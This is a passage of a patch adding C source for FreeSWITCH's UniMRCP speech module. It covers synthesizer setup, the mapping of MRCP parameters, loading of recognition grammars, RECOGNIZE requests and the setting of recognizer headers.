+		speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
+	}
+
+	return TRUE;
+}
+
+/**
+ * Incoming TTS data from UniMRCP
+ *
+ * @param stream the audio stream sending data
+ * @param frame the data
+ * @return TRUE
+ */
+static apt_bool_t synth_stream_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame)
+{
+	switch_size_t size = frame->codec_frame.size;
+	speech_channel_t *schannel = (speech_channel_t *)stream->obj;
+	speech_channel_write(schannel, frame->codec_frame.buffer, &size);
+	return TRUE;
+}
+
+/**
+ * Link the synthesizer module interface to FreeSWITCH and UniMRCP
+ *
+ * @param module_interface mod_unimrcp's interface
+ * @param pool the memory pool to use for all allocations
+ * @return SWITCH_STATUS_SUCCESS if successful, SWITCH_STATUS_FALSE otherwise
+ */
+static switch_status_t synth_load(switch_loadable_module_interface_t *module_interface, switch_memory_pool_t *pool)
+{
+	/* link to FreeSWITCH ASR / TTS callbacks */
+	switch_speech_interface_t *speech_interface = NULL;
+	if ((speech_interface = (switch_speech_interface_t *)switch_loadable_module_create_interface(module_interface, SWITCH_SPEECH_INTERFACE)) == NULL) {
+		return SWITCH_STATUS_FALSE;
+	}
+	speech_interface->interface_name = MOD_UNIMRCP;
+	speech_interface->speech_open = synth_speech_open;
+	speech_interface->speech_close = synth_speech_close;
+	speech_interface->speech_feed_tts = synth_speech_feed_tts;
+	speech_interface->speech_read_tts = synth_speech_read_tts;
+	speech_interface->speech_flush_tts = synth_speech_flush_tts;
+	speech_interface->speech_text_param_tts = synth_speech_text_param_tts;
+	speech_interface->speech_numeric_param_tts = synth_speech_numeric_param_tts;
+	speech_interface->speech_float_param_tts = synth_speech_float_param_tts;
+
+	/* Create the synthesizer application and link its callbacks to UniMRCP */
+	if ((globals.synth.app = mrcp_application_create(synth_message_handler, (void *)0, pool)) == NULL) {
+		return SWITCH_STATUS_FALSE;
+	}
+	globals.synth.dispatcher.on_session_update = NULL;
+	globals.synth.dispatcher.on_session_terminate = speech_on_session_terminate;
+	globals.synth.dispatcher.on_channel_add = speech_on_channel_add;
+	globals.synth.dispatcher.on_channel_remove = speech_on_channel_remove;
+	globals.synth.dispatcher.on_message_receive = synth_on_message_receive;
+	globals.synth.audio_stream_vtable.destroy = NULL;
+	globals.synth.audio_stream_vtable.open_rx = NULL;
+	globals.synth.audio_stream_vtable.close_rx = NULL;
+	globals.synth.audio_stream_vtable.read_frame = NULL;
+	globals.synth.audio_stream_vtable.open_tx = NULL;
+	globals.synth.audio_stream_vtable.close_tx =  NULL;
+	globals.synth.audio_stream_vtable.write_frame = synth_stream_write;
+	mrcp_client_application_register(globals.mrcp_client, globals.synth.app, "synth");
+
+	/* map FreeSWITCH params to MRCP param */
+	switch_core_hash_init_case(&globals.synth.fs_param_map, pool, SWITCH_FALSE /* case_sensitive */);
+	switch_core_hash_insert(globals.synth.fs_param_map, "voice", "voice-name");
+
+	/* map MRCP params to UniMRCP ID */
+	switch_core_hash_init_case(&globals.synth.param_id_map, pool, SWITCH_FALSE /* case_sensitive */);
+	switch_core_hash_insert(globals.synth.param_id_map, "jump-size", unimrcp_param_id_create(SYNTHESIZER_HEADER_JUMP_SIZE, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "kill-on-barge-in", unimrcp_param_id_create(SYNTHESIZER_HEADER_KILL_ON_BARGE_IN, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "speaker-profile", unimrcp_param_id_create(SYNTHESIZER_HEADER_SPEAKER_PROFILE, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "completion-cause", unimrcp_param_id_create(SYNTHESIZER_HEADER_COMPLETION_CAUSE, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "completion-reason", unimrcp_param_id_create(SYNTHESIZER_HEADER_COMPLETION_REASON, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "voice-gender", unimrcp_param_id_create(SYNTHESIZER_HEADER_VOICE_GENDER, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "voice-age", unimrcp_param_id_create(SYNTHESIZER_HEADER_VOICE_AGE, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "voice-variant", unimrcp_param_id_create(SYNTHESIZER_HEADER_VOICE_VARIANT, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "voice-name", unimrcp_param_id_create(SYNTHESIZER_HEADER_VOICE_NAME, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "prosody-volume", unimrcp_param_id_create(SYNTHESIZER_HEADER_PROSODY_VOLUME, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "prosody-rate", unimrcp_param_id_create(SYNTHESIZER_HEADER_PROSODY_RATE, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "speech-marker", unimrcp_param_id_create(SYNTHESIZER_HEADER_SPEECH_MARKER, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "speech-language", unimrcp_param_id_create(SYNTHESIZER_HEADER_SPEECH_LANGUAGE, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "fetch-hint", unimrcp_param_id_create(SYNTHESIZER_HEADER_FETCH_HINT, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "audio-fetch-hint", unimrcp_param_id_create(SYNTHESIZER_HEADER_AUDIO_FETCH_HINT, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "failed-uri", unimrcp_param_id_create(SYNTHESIZER_HEADER_FAILED_URI, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "failed-uri-cause", unimrcp_param_id_create(SYNTHESIZER_HEADER_FAILED_URI_CAUSE, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "speak-restart", unimrcp_param_id_create(SYNTHESIZER_HEADER_SPEAK_RESTART, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "speak-length", unimrcp_param_id_create(SYNTHESIZER_HEADER_SPEAK_LENGTH, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "load-lexicon", unimrcp_param_id_create(SYNTHESIZER_HEADER_LOAD_LEXICON, pool));
+	switch_core_hash_insert(globals.synth.param_id_map, "lexicon-search-order", unimrcp_param_id_create(SYNTHESIZER_HEADER_LEXICON_SEARCH_ORDER, pool));
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Shut down the synthesizer
+ *
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t synth_shutdown() 
+{
+	if (globals.synth.fs_param_map) {
+		switch_core_hash_destroy(&globals.synth.fs_param_map);
+	}
+	if (globals.synth.param_id_map) {
+		switch_core_hash_destroy(&globals.synth.param_id_map);
+	}
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Create a grammar object to reference in recognition requests
+ *
+ * @param grammar the grammar
+ * @param name the name of the grammar
+ * @param type the type of the grammar (URI, SRGS, or GSL)
+ * @param data the grammar data (or URI)
+ * @param pool memory pool to allocate from
+ * @return SWITCH_STATUS_SUCCESS if successful
+ */
+static switch_status_t grammar_create(grammar_t **grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	grammar_t *g = (grammar_t *)switch_core_alloc(pool, sizeof(grammar_t));
+	if (g == NULL) {
+		status = SWITCH_STATUS_FALSE;
+		*grammar = NULL;
+	} else {
+		g->name = switch_core_strdup(pool, name);
+		g->type = type;
+		g->data = switch_core_strdup(pool, data);
+		*grammar = g;
+	}
+
+	return status;
+}
+
+/**
+ * Get the MIME type for this grammar type
+ * @param type the grammar type
+ * @param profile the profile requesting the type
+ * @return the MIME type
+ */
+static const char *grammar_type_to_mime(grammar_type_t type, profile_t *profile)
+{
+	switch(type) {
+		case GRAMMAR_TYPE_UNKNOWN: return "";
+		case GRAMMAR_TYPE_URI: return "text/uri-list";
+		case GRAMMAR_TYPE_SRGS: return profile->srgs_mime_type;
+		case GRAMMAR_TYPE_SRGS_XML: return profile->srgs_xml_mime_type;
+		case GRAMMAR_TYPE_NUANCE_GSL: return profile->gsl_mime_type;
+		case GRAMMAR_TYPE_JSGF: return profile->jsgf_mime_type;
+	}
+	return "";
+}
+
+/**
+ * Start RECOGNIZE request
+ *
+ * @param schannel the channel to start
+ * @param name the name of the grammar to use or NULL if to reuse the last grammar
+ * @return SWITCH_STATUS_SUCCESS if successful
+ */
+static switch_status_t recog_channel_start(speech_channel_t *schannel, const char *name)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	mrcp_message_t *mrcp_message;
+	mrcp_recog_header_t *recog_header;
+	mrcp_generic_header_t *generic_header;
+	recognizer_data_t *r;
+	char *start_input_timers;
+	const char *mime_type;
+	grammar_t *grammar = NULL;
+
+	switch_mutex_lock(schannel->mutex);
+	if (schannel->state != SPEECH_CHANNEL_READY) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	if (schannel->data == NULL) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	r = (recognizer_data_t *)schannel->data;
+	r->result = NULL;
+	r->start_of_input = 0;
+
+	/* input timers are started by default unless the start-input-timers=false param is set */
+	start_input_timers = (char *)switch_core_hash_find(schannel->params, "start-input-timers");
+	r->timers_started = switch_strlen_zero(start_input_timers) || strcasecmp(start_input_timers, "false");
+	
+	/* get the cached grammar */
+	if (switch_strlen_zero(name)) {
+		grammar = r->last_grammar;
+	} else {
+		grammar = (grammar_t *)switch_core_hash_find(r->grammars, name);
+		r->last_grammar = grammar;
+	}
+	if (grammar == NULL) {
+		if (name) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Undefined grammar, %s\n", schannel->name, name);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) No grammar specified\n", schannel->name);
+		}
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* create MRCP message */
+	mrcp_message = mrcp_application_message_create(schannel->unimrcp_session, schannel->unimrcp_channel, RECOGNIZER_RECOGNIZE);
+	if (mrcp_message == NULL) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* allocate generic header */
+	generic_header = (mrcp_generic_header_t *)mrcp_generic_header_prepare(mrcp_message);
+	if (generic_header == NULL) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* set Content-Type */
+	mime_type = grammar_type_to_mime(grammar->type, schannel->profile);
+	if (switch_strlen_zero(mime_type)) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	apt_string_assign(&generic_header->content_type, mime_type, mrcp_message->pool);
+	mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_TYPE);
+
+	/* set Content-ID for inline grammars */
+	if (grammar->type != GRAMMAR_TYPE_URI) {
+		apt_string_assign(&generic_header->content_id, grammar->name, mrcp_message->pool);
+		mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_ID);
+	}
+
+	/* allocate recognizer-specific header */
+	recog_header = (mrcp_recog_header_t *)mrcp_resource_header_prepare(mrcp_message);
+	if (recog_header == NULL) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* set Cancel-If-Queue */
+	if (mrcp_message->start_line.version == MRCP_VERSION_2) {	
+		recog_header->cancel_if_queue = FALSE;
+		mrcp_resource_header_property_add(mrcp_message, RECOGNIZER_HEADER_CANCEL_IF_QUEUE);
+	}
+
+	/* set parameters */
+	recog_channel_set_params(schannel, mrcp_message, generic_header, recog_header);
+
+	/* set message body */
+	apt_string_assign(&mrcp_message->body, grammar->data, mrcp_message->pool);
+
+	/* Empty audio queue and send RECOGNIZE to MRCP server */
+	audio_queue_clear(schannel->audio_queue);
+	if (mrcp_application_message_send(schannel->unimrcp_session, schannel->unimrcp_channel, mrcp_message) == FALSE) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	/* wait for IN PROGRESS */
+	switch_thread_cond_timedwait(schannel->cond, schannel->mutex, SPEECH_CHANNEL_TIMEOUT_USEC);
+	if (schannel->state != SPEECH_CHANNEL_PROCESSING) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+ done:
+
+	switch_mutex_unlock(schannel->mutex);
+	return status;
+}
+
+/**
+ * Load speech recognition grammar
+ *
+ * @param schannel the recognizer channel
+ * @param name the name of this grammar
+ * @param type the grammar type
+ * @param data the grammar data (or URI)
+ * @return SWITCH_STATUS_SUCCESS if successful
+ */
+static switch_status_t recog_channel_load_grammar(speech_channel_t *schannel, const char *name, grammar_type_t type, const char *data)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	grammar_t *g = NULL;
+	char *ldata = NULL;
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Loading grammar %s, data = %s\n", schannel->name, name, data);
+
+	switch_mutex_lock(schannel->mutex);
+	if (schannel->state != SPEECH_CHANNEL_READY) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* if inline, use DEFINE-GRAMMAR to cache it on the server */
+	if (type != GRAMMAR_TYPE_URI) {
+		mrcp_message_t *mrcp_message;
+		mrcp_generic_header_t *generic_header;
+		const char *mime_type;
+
+		/* create MRCP message */
+		mrcp_message = mrcp_application_message_create(schannel->unimrcp_session, schannel->unimrcp_channel, RECOGNIZER_DEFINE_GRAMMAR);
+		if (mrcp_message == NULL) {
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+	
+		/* set Content-Type and Content-ID in message */
+		generic_header = (mrcp_generic_header_t *)mrcp_generic_header_prepare(mrcp_message);
+		if (generic_header == NULL) {
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+		mime_type = grammar_type_to_mime(type, schannel->profile);
+		if (switch_strlen_zero(mime_type)) {
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+		apt_string_assign(&generic_header->content_type, mime_type, mrcp_message->pool);
+		mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_TYPE);
+		apt_string_assign(&generic_header->content_id, name, mrcp_message->pool);
+		mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_ID);
+	
+		/* put grammar in message body */
+		apt_string_assign(&mrcp_message->body, data, mrcp_message->pool);
+
+		/* send message and wait for response */
+		speech_channel_set_state_unlocked(schannel, SPEECH_CHANNEL_PROCESSING);
+		if (mrcp_application_message_send(schannel->unimrcp_session, schannel->unimrcp_channel, mrcp_message) == FALSE) {
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+		switch_thread_cond_timedwait(schannel->cond, schannel->mutex, SPEECH_CHANNEL_TIMEOUT_USEC);
+		if (schannel->state != SPEECH_CHANNEL_READY) {
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+
+		/* set up name, type for future RECOGNIZE requests.  We'll reference this cached grammar by name */
+		ldata = switch_mprintf("session:%s", name);
+		data = ldata;
+		type = GRAMMAR_TYPE_URI;
+	}
+
+	/* Create the grammar and save it */
+	if ((status = grammar_create(&g, name, type, data, schannel->memory_pool)) == SWITCH_STATUS_SUCCESS) {
+		recognizer_data_t *r = (recognizer_data_t *)schannel->data;
+		switch_core_hash_insert(r->grammars, name, g);
+	}
+
+ done:
+	
+	switch_mutex_unlock(schannel->mutex);
+	switch_safe_free(ldata);
+
+	return status;
+}
+
+/**
+ * Unload speech recognition grammar
+ *
+ * @param schannel the recognizer channel
+ * @param grammar_name the name of the grammar to unload
+ * @return SWITCH_STATUS_SUCCESS if successful
+ */
+static switch_status_t recog_channel_unload_grammar(speech_channel_t *schannel, const char *grammar_name)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+
+	if (switch_strlen_zero(grammar_name)) {
+		status = SWITCH_STATUS_FALSE;
+	} else {
+		recognizer_data_t *r = (recognizer_data_t *)schannel->data;
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Unloading grammar %s\n", schannel->name, grammar_name);
+		switch_core_hash_delete(r->grammars, grammar_name);
+	}
+
+	return status;
+}
+
+/**
+ * Check if recognition is complete
+ *
+ * @return SWITCH_STATUS_SUCCESS if results available or start of input
+ */
+static switch_status_t recog_channel_check_results(speech_channel_t *schannel) 
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	recognizer_data_t *r;
+	switch_mutex_lock(schannel->mutex);
+	r = (recognizer_data_t *)schannel->data;
+	if (!switch_strlen_zero(r->result)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) SUCCESS, have result\n", schannel->name);
+	} else if (r->start_of_input) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) SUCCESS, start of input\n", schannel->name);
+	} else {
+		status = SWITCH_STATUS_FALSE;
+	}
+
+	switch_mutex_unlock(schannel->mutex);
+	return status;
+}
+
+/**
+ * Start recognizer's input timers
+ *
+ * @return SWITCH_STATUS_SUCCESS if timers were started
+ */
+static switch_status_t recog_channel_start_input_timers(speech_channel_t *schannel)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	recognizer_data_t *r = (recognizer_data_t *)schannel->data;
+	switch_mutex_lock(schannel->mutex);
+
+	if (schannel->state == SPEECH_CHANNEL_PROCESSING && !r->timers_started) {
+		mrcp_message_t *mrcp_message;
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Starting input timers\n", schannel->name);
+		/* Send START-INPUT-TIMERS to MRCP server */
+		mrcp_message = mrcp_application_message_create(schannel->unimrcp_session, schannel->unimrcp_channel, RECOGNIZER_START_INPUT_TIMERS);
+		if (mrcp_message == NULL) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Failed to create START-INPUT-TIMERS message\n", schannel->name);
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+		/* set it and forget it */
+		mrcp_application_message_send(schannel->unimrcp_session, schannel->unimrcp_channel, mrcp_message);
+	}
+
+ done:
+
+	switch_mutex_unlock(schannel->mutex);
+	return status;
+}
+
+/**
+ * Flag that input has started
+ *
+ * @param schannel the channel that has heard input
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t recog_channel_set_start_of_input(speech_channel_t *schannel)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	recognizer_data_t *r;
+	switch_mutex_lock(schannel->mutex);
+	r = (recognizer_data_t *)schannel->data;
+	r->start_of_input = 1;
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) start of input\n", schannel->name);
+	switch_mutex_unlock(schannel->mutex);
+	return status;
+}
+
+/**
+ * Set the recognition results
+ *
+ * @param schannel the channel whose results are set
+ * @param result the results
+ * @return SWITCH_STATUS_SUCCESS if successful
+ */
+static switch_status_t recog_channel_set_results(speech_channel_t *schannel, const char *result)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	recognizer_data_t *r;
+	switch_mutex_lock(schannel->mutex);
+	r = (recognizer_data_t *)schannel->data;
+	if (!switch_strlen_zero(r->result)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) result is already set\n", schannel->name);
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	if (switch_strlen_zero(result)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) result is NULL\n", schannel->name);
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) result:\n\n%s\n", schannel->name, result);
+	r->result = switch_core_strdup(schannel->memory_pool, result);
+
+ done:
+
+	switch_mutex_unlock(schannel->mutex);
+	return status;
+}
+
+/**
+ * Get the recognition results.
+ *
+ * @param schannel the channel to get results from
+ * @param result the results.  free() the results when finished with them.
+ * @return SWITCH_STATUS_SUCCESS if there are results, SWITCH_STATUS_BREAK if start of input
+ */
+static switch_status_t recog_channel_get_results(speech_channel_t *schannel, char **result)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	recognizer_data_t *r = (recognizer_data_t *)schannel->data;
+	switch_mutex_lock(schannel->mutex);
+	if (!switch_strlen_zero(r->result)) {
+		*result = strdup(r->result);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) result:\n\n%s\n", schannel->name, *result);
+		r->result = NULL;
+		r->start_of_input = 0;
+	} else if (r->start_of_input) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) start of input\n", schannel->name);
+		status = SWITCH_STATUS_BREAK;
+		r->start_of_input = 0;
+	} else {
+		status = SWITCH_STATUS_FALSE;
+	}
+	
+	switch_mutex_unlock(schannel->mutex);
+	return status;
+}
+
+/**
+ * Set parameters in a recognizer MRCP header
+ *
+ * @param schannel the speech channel containing the params
+ * @param msg the MRCP message to set
+ * @param gen_hdr the generic headers to set
+ * @param recog_hdr the recognizer headers to set
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_recog_header_t *recog_hdr)
+{
+	/* loop through each param and add to recog header or vendor-specific-params */
+	switch_hash_index_t *hi = NULL;
+	for (hi = switch_hash_first(NULL, schannel->params); hi; hi = switch_hash_next(hi)) {
+		char *param_name = NULL, *param_val = NULL;
+		const void *key;
+		void *val;
+		switch_hash_this(hi, &key, NULL, &val);
+		param_name = (char *)key;
+		param_val = (char *)val;
+		if (!switch_strlen_zero(param_name) && !switch_strlen_zero(param_val)) {
+			unimrcp_param_id_t *id = (unimrcp_param_id_t *)switch_core_hash_find(schannel->application->param_id_map, param_name);
+			if (id) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) \"%s\": \"%s\"\n", schannel->name, param_name, param_val);
+				recog_channel_set_header(schannel, id->id, param_val, msg, recog_hdr);
+			} else {
+				/* this is probably a vendor-specific MRCP param */
+				apt_str_t apt_param_name = { 0 };
+				apt_str_t apt_param_val = { 0 };
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) (vendor-specific value) %s: %s\n", schannel->name, param_name, param_val);
+				apt_string_set(&apt_param_name, param_name); /* copy isn't necessary since apt_pair_array_append will do it */
+				apt_string_set(&apt_param_val, param_val);
+				if (!gen_hdr->vendor_specific_params) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) creating vendor specific pair array\n", schannel->name);
+					gen_hdr->vendor_specific_params = apt_pair_array_create(10, msg->pool);
+				}
+				apt_pair_array_append(gen_hdr->vendor_specific_params, &apt_param_name, &apt_param_val, msg->pool);
+			}
+		}
+	}
+	
+	if (gen_hdr->vendor_specific_params) {
+		mrcp_generic_header_property_add(msg, GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS);
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Set parameter in a recognizer MRCP header
+ *
+ * @param schannel the speech channel containing the param
+ * @param id the UniMRCP header enum
+ * @param val the value to set
+ * @param msg the MRCP message to set
+ * @param recog_hdr the recognizer header to set
+ * @return SWITCH_STATUS_SUCCESS
+ */
+static switch_status_t recog_channel_set_header(speech_channel_t *schannel, int id, char *val, mrcp_message_t *msg, mrcp_recog_header_t *recog_hdr)
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+
+	switch (id) {
+	case RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD:
+		recog_hdr->confidence_threshold = (float)atof(val);
+		mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD);
+		break;
+
+	case RECOGNIZER_HEADER_SENSITIVITY_LEVEL:
+		recog_hdr->sensitivity_level = (float)atof(val);
+		mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SENSITIVITY_LEVEL);
+		break;
+
+	case RECOGNIZER_HEADER_SPEED_VS_ACCURACY:
+		recog_hdr->speed_vs_accuracy = (float)atof(val);
+		mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEED_VS_ACCURACY);
+		break;
+
+	case RECOGNIZER_HEADER_N_BEST_LIST_LENGTH: {
+		int n_best_list_length = atoi(val);
+		if (n_best_list_length > 0) {
+			recog_hdr->n_best_list_length = n_best_list_length;
+			mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_N_BEST_LIST_LENGTH);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid n best list length, \"%s\"\n", schannel->name, val);
+		}
+		break;
+	}
+	case RECOGNIZER_HEADER_NO_INPUT_TIMEOUT: {
+		int no_input_timeout = atoi(val);
+		if (no_input_timeout >= 0) {
+			recog_hdr->no_input_timeout = no_input_timeout;
+			mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_NO_INPUT_TIMEOUT);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid no input timeout, \"%s\"\n", schannel->name, val);
+		}
+		break;
+	}
+	case RECOGNIZER_HEADER_RECOGNITION_TIMEOUT: { 
+		int recognition_timeout = atoi(val);
+		if (recognition_timeout >= 0) {
+			recog_hdr->recognition_timeout = recognition_timeout;
+			mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_RECOGNITION_TIMEOUT);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid recognition timeout, \"%s\"\n", schannel->name, val);
+		}
+		break;
+	}
+	case RECOGNIZER_HEADER_START_INPUT_TIMERS:
+		recog_hdr->start_input_timers = !strcasecmp("true", val);
+		mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_START_INPUT_TIMERS);
+		break;
+		case RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT: {
+		int speech_complete_timeout = atoi(val);
+		if (speech_complete_timeout >= 0) {
+			recog_hdr->speech_complete_timeout = speech_complete_timeout;
+			mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid speech complete timeout, \"%s\"\n", schannel->name, val);
+		}
+		break;
+	}
+	case RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT: {
+		int speech_incomplete_timeout = atoi(val);
+		if (speech_incomplete_timeout >= 0) {
+			recog_hdr->speech_incomplete_timeout = speech_incomplete_timeout;
+			mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid speech incomplete timeout, \"%s\"\n", schannel->name, val);
+		}
+		break;
+	}
+	case RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT: {
+		int dtmf_interdigit_timeout = atoi(val);
+		if (dtmf_interdigit_timeout >= 0) {
+			recog_hdr->dtmf_interdigit_timeout = dtmf_interdigit_timeout;
+			mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid dtmf interdigit timeout, \"%s\"\n", schannel->name, val);
+		}
+		break;
+	}
+	case RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT: {
+		int dtmf_term_timeout = atoi(val);
+		if (dtmf_term_timeout >= 0) {
+			recog_hdr->dtmf_term_timeout = dtmf_term_timeout;
+			mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid dtmf term timeout, \"%s\"\n", schannel->name, val);
+		}
+		break;
+	}
+	case RECOGNIZER_HEADER_DTMF_TERM_CHAR:
+		if (strlen(val) == 1) {
+			recog_hdr->dtmf_term_char = *val;
+			mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_TERM_CHAR);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid dtmf term char, \"%s\"\n", schannel->name, val);
+		}
+		break;
+
+	case RECOGNIZER_HEADER_SAVE_WAVEFORM:
+		recog_hdr->save_waveform = !strcasecmp("true", val);
+		mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SAVE_WAVEFORM);
+		break;
+
+	case RECOGNIZER_HEADER_NEW_AUDIO_CHANNEL:
+		recog_hdr->new_audio_channel = !strcasecmp("true", val);
+		mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_NEW_AUDIO_CHANNEL);
+		break;
+
+	case RECOGNIZER_HEADER_SPEECH_LANGUAGE:
+		apt_string_assign(&recog_hdr->speech_language, val, msg->pool);
+		mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_LANGUAGE);
+		break;
+
+	case RECOGNIZER_HEADER_RECOGNITION_MODE:
+		apt_string_assign(&recog_hdr->recognition_mode, val, msg->pool);
+		mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_RECOGNITION_MODE);
+		break;
+
+	case RECOGNIZER_HEADER_HOTWORD_MAX_DURATION: {
+		int hotword_max_duration = atoi(val);
+		if (hotword_max_duration >= 0) {
+			recog_hdr->hotword_max_duration = hotword_max_duration;
